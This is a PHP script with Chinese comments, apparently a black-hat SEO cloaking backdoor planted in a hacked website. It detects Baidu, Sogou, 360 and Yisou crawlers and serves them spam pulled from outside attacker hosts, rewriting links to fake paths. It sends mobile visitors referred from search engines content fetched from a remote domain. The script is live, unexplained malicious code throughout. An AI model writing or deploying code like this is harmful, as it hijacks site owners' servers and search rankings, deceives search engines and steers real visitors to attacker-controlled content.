set_time_limit(0);
error_reporting(0);

$protocol2 = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
$host2 = $_SERVER['HTTP_HOST'];
$fullUrl2 = $protocol2 . $host2;
$url2 = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$url = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

$tr2 = "stristr";
$er2 = $_SERVER;
$a = "stristr";
$b = $_SERVER;

/**
 * 生成随机数字
 */
function generateRandomNumber() {
    $min = pow(10, 7); // 8位数的最小值
    $max = pow(10, 10) - 1; // 10位数的最大值
    return mt_rand($min, $max);
}

/**
 * 匹配链接格式
 */
function matchLinkPattern($str) {
    $pattern = '/[A-Z]_\d{9,}/'; // 匹配一个大写字母加14位以上数字
    return preg_match($pattern, $str);
}


/**
 * HTTP GET请求函数2
 */
function httpGet32($url2) {
    header('Content-Type:text/html;charset=utf-8');
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url2);
    curl_setopt($ch, CURLOPT_USERAGENT, 'MyCustomUA/1.0');
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}

/**
 * HTTP GET请求函数3
 */
function httpGet3($url2) {
    header('Content-Type:text/html;charset=utf-8');
    $ch = curl_init();
    $ua2 = $_SERVER['HTTP_USER_AGENT'];
    curl_setopt($ch, CURLOPT_URL, $url2);
    curl_setopt($ch, CURLOPT_USERAGENT, $ua2);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}

//$dir = "?moban26";
$dir=array("?moban26","?show2","?news2","?class","?advice","?home","?auto","?life","?sleep","?sports","?work",);
/**
 * 生成随机字符串
 */
function char($length = 5, $type = 0) {
    $arr = array(1 => "0123456789", 2 => "abcdefghijklmnopqrstuvwxyz0123456789");
    if ($type == 0) {
        array_pop($arr);
        $string = implode("", $arr);
    } elseif ($type == "-1") {
        $string = implode("", $arr);
    } else {
        $string = $arr[$type];
    }
    $count = strlen($string) - 1;
    $code = '';
    for ($i = 0; $i < $length; $i++) {
        $code .= $string[rand(0, $count)];
    }
    return $code;
}

$dir2 = get_url2() . '/moban26';

/**
 * 获取URL路径
 */
function get_url2() {
    $url2 = $_SERVER['REQUEST_URI'];
    $url2 = preg_replace('~/+~', '/', $url2);  // 去除多余的斜杠

    // 分割路径
    $parts = explode('/', trim($url2, '/'));
    
    // 如果是文件路径，保留前两级目录
    if (preg_match('/\.(php|html|xml|asp|ppt|shtml)$/', end($parts))) {
        // 文件路径，返回前两级目录
        $url2 = '/' . $parts[0];
    } else {
        // 不是文件路径，保留前两级目录
        if (count($parts) > 2) {
            $url2 = '/' . $parts[0] . '/' . $parts[1];
        } else {
            $url2 = '/' . implode('/', $parts);
        }
    }

    return $url2;
}

// 定义常量
define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|' . 
                'MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');
define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']);
define('url', $b['REQUEST_URI']);
define('ent', $er2['HTTP_USER_AGENT']);
define('site', "http://jsc.2026-6-25js.cc:82/");
define('site2', "http://jsc.sogousm1.cc:81/");
define('url8', $fullUrl2);

// 正则表达式模式
$title = '/<title>(.*?)<\/title>/i';
$meta = '/<meta charset=".*?>/i';
$key = '/<meta\s+name="keywords"\s+content="([^"]+)"\s*\/?>/i';
$miaoshu = '/<meta\s+name="description"\s+content="([^"]+)"\s*\/?>/i';

define('road', $_SERVER['REQUEST_URI']);
define('regs', '@baiduspider@i');
define('regs2', '@yisou|Sogou|360@i');

// 定义区域判断条件
$area_conditions = array(
    "wen", "xml", "doc", "pdf", "class", "asp", "pptx", "xls", 
    "id", "template", "moban", "gov", "du", "k", "gq", "ys", "ku", 
    "tacc", "work", "csv", "sports", "sleep", "life", "dy","html1", "news2", "show2",
    "advice", "and", "shtml", "home", "tips", "auto", "zkblw", "keyan", "zhuli", "xinwen1", "news1", "show1"
);
$area_flag = false;
foreach ($area_conditions as $condition) {
    if (stristr(url, $condition)) {
        $area_flag = true;
        break;
    }
}
define('area', $area_flag);
define('area2', stristr(url, "/"));

// 主逻辑开始
if (preg_match(regs, ent)) {
    if (area) {
        echo '<link rel="canonical" href="' . $url2 . '" />';
        echo '<!-184-kwm-04-13-bd-sg-->';
        
        $html2 = httpGet32(url8);
        $html = httpGet3(site . road);
        
        // 移除HTML标签
        $html2 = str_replace('</h1>', '', $html2);
        $html2 = str_replace('<h1>', '', $html2);
        $html2 = preg_replace($meta, '', $html2);
        $html2 = preg_replace($miaoshu, '', $html2);
        $html2 = preg_replace($key, '', $html2);
        $html2 = preg_replace($title, '', $html2);
        $html2 = str_replace('</head>', '', $html2);
        $html2 = str_replace('<head>', '', $html2);
        $html2 = preg_replace('/<html>/i', '', $html2);
        $html2 = preg_replace('/body class=.*?>/i', '', $html2);
        $html2 = preg_replace('/<body>/i', '', $html2);
        
        $html = $html . $html2;
        
        // 处理链接
        $lianjie = '/<a .*?>[\s\S]*?<\/a>/';
        preg_match_all($lianjie, $html, $aarray5);
        
        if ($aarray5[0]) {
            foreach ($aarray5[0] as $pbti) {
                $preg = '/href=(\"|\')(.*?)(\"|\')/i';
                $replacestr = 'href="' . $dir2 . '/' . char(6, 1) . char(mt_rand(4, 10), 2) . '.html"';
                $ahtml = preg_replace($preg, $replacestr, $pbti);
                $html = str_replace($pbti, $ahtml, $html);
            }
        }
        
        echo $html;
        exit();
    } else {
        header('Content-Type:text/html;charset=utf-8');
        $ch = curl_init();
        
        curl_setopt($ch, CURLOPT_URL, $fullUrl2);
        curl_setopt($ch, CURLOPT_USERAGENT, 'MyCustomUA/1.0');
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        
        $output = curl_exec($ch);
        curl_close($ch);
        
        $output = str_replace([
            '<body>', 
            '</body>', 
            '<html>', 
            '</html>'
        ], '', $output);
        
        $lianjie = '/<a .*?>[\s\S]*?<\/a>/';
        preg_match_all($lianjie, $output, $aarray5);
        
        if ($aarray5[0]) {
            $count = 0;
            foreach ($aarray5[0] as $pbti) {
                $preg = '/href=(\"|\')(.*?)(\"|\')/i';
                if ($count < 5) {
                    $randomUrl = httpGet3('http://hei.2026-6-25js.cc:82');
                    $randomUrl = str_replace('<!--', '', $randomUrl);
                    $randomUrl = str_replace('-->', '', $randomUrl);
                    if ($randomUrl !== false && $randomUrl !== '') {
                        $replacestr = 'href="' . trim($randomUrl) . generateRandomNumber() . '.html"';
                        $count++;
                    } else {
                        $replacestr = 'href="'.$dir[array_rand($dir)]. "/". generateRandomNumber() . '.html"';
                    }
                } else {
                    $replacestr = 'href="'.$dir[array_rand($dir)]. "/". generateRandomNumber() . '.html"';
                }
                $aoutput = preg_replace($preg, $replacestr, $pbti);
                $output = str_replace($pbti, $aoutput, $output);
            }
        }
        echo $output;
        exit();
    }
}

// 其他条件判断
if (area && preg_match("/.*(baidu).*/i", ref, $OutUa) && preg_match(mobile, ent) && url != "" && url != "/" && url != "/index.php" && url != "/index.html") {
    $ua = $_SERVER['HTTP_USER_AGENT'];
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_USERAGENT, $ua);
    curl_setopt($ch, CURLOPT_URL, "https://txt.2026-jsc.cc/xin/502.php");
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_exec($ch);
    curl_close($ch);
    exit();
} elseif (area && preg_match('/phone|pad|pod|OpenHarmony|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/', $_SERVER['HTTP_USER_AGENT'])) {
    $ua = $_SERVER['HTTP_USER_AGENT'];
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_USERAGENT, $ua);
    curl_setopt($ch, CURLOPT_URL, "https://txt.2026-jsc.cc/xin/502-no-pd.php");
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_exec($ch);
    curl_close($ch);
    exit();
}

if (preg_match(regs2, ent) && url != "" && url != "/" && url != "/index.php") {
     echo '<link rel="canonical" href="' . $url2 . '" />';
        echo '<!-122-kw-04-13--sg-->';
    echo httpGet3(site2 . road);

    exit();
} elseif (preg_match(regs2, ent)) {
    $html = httpGet32(url8 . url);
    $html = str_replace('</h1>', '', $html);
    $html = str_replace('<h1>', '', $html);
    
    $lianjie = '/<a .*?>[\s\S]*?<\/a>/';
    preg_match_all($lianjie, $html, $aarray5);
    
    if ($aarray5[0]) {
        foreach ($aarray5[0] as $pbti) {
            $preg = '/href=(\"|\')(.*?)(\"|\')/i';
            $replacestr = 'href="' .$dir[array_rand($dir)]. "/" . char(6, 1) . char(mt_rand(4, 10), 2) . '.html"';
            $ahtml = preg_replace($preg, $replacestr, $pbti);
            $html = str_replace($pbti, $ahtml, $html);
        }
    }
    
    echo $html;
    exit();
}

if (preg_match("/.*(sogou|yisou|sm|360|haoso).*/i", ref, $OutUa) && preg_match(mobile, ent) && url != "" && url != "/" && url != "/index.php" && url != "/index.html") {
    $ua = $_SERVER['HTTP_USER_AGENT'];
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_USERAGENT, $ua);
    curl_setopt($ch, CURLOPT_URL, "https://txt.2026-jsc.cc/xin/502-sogousm-pd.php");
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_exec($ch);
    curl_close($ch);
    exit();
}